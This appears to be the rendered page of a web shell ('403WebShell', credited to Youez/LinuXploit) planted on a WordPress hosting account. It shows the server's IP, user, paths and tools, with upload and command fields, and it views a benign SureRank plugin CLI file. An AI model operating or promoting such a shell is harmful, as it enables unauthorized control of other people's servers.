Uname:Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64

403WebShell
403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.152
Web Server : Apache
System : Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : monpetu ( 144298)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/monpetu/www/ipprint/wp-content/plugins/surerank/inc/cli/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/monpetu/www/ipprint/wp-content/plugins/surerank/inc/cli/cli.php
<?php
/**
 * SureRank CLI
 *
 * 1. Run `wp surerank generate_cache` Generates Cache.
 *
 * @package surerank
 * @since 1.2.0
 */

namespace SureRank\Inc\Cli;

use SureRank\Inc\Traits\Get_Instance;
use WP_CLI;

/**
 * WP-Cli commands to manage SureRank CLI features.
 *
 * @since 1.2.0
 */
class Cli {

	use Get_Instance;

	/**
	 * Generate the SureRank cache.
	 *
	 * ## OPTIONS
	 *
	 * ## EXAMPLES
	 *
	 *     # Generate the cache.
	 *     $ wp surerank generate_cache --force
	 *
	 * @since 1.2.0
	 * @param array<string,string> $args Positional arguments.
	 * @param array<string,string> $assoc_args Associative arguments.
	 * @return void
	 */
	public function generate_cache( $args = [], $assoc_args = [] ) {
		$force = isset( $assoc_args['force'] ) ? 'yes' : '';
		if ( class_exists( 'WP_CLI' ) ) {
			// Start the cache building process.
			do_action( 'surerank_start_building_cache', $force );

			WP_CLI::line( __( 'SureRank Cache generated successfully', 'surerank' ) );
		}
	}

}

/**
 * Add Command
 */
if ( defined( 'WP_CLI' ) && class_exists( 'WP_CLI' ) ) {
	WP_CLI::add_command( 'surerank', Cli::get_instance() );
}

Youez - 2016 - github.com/yon3zu
LinuXploit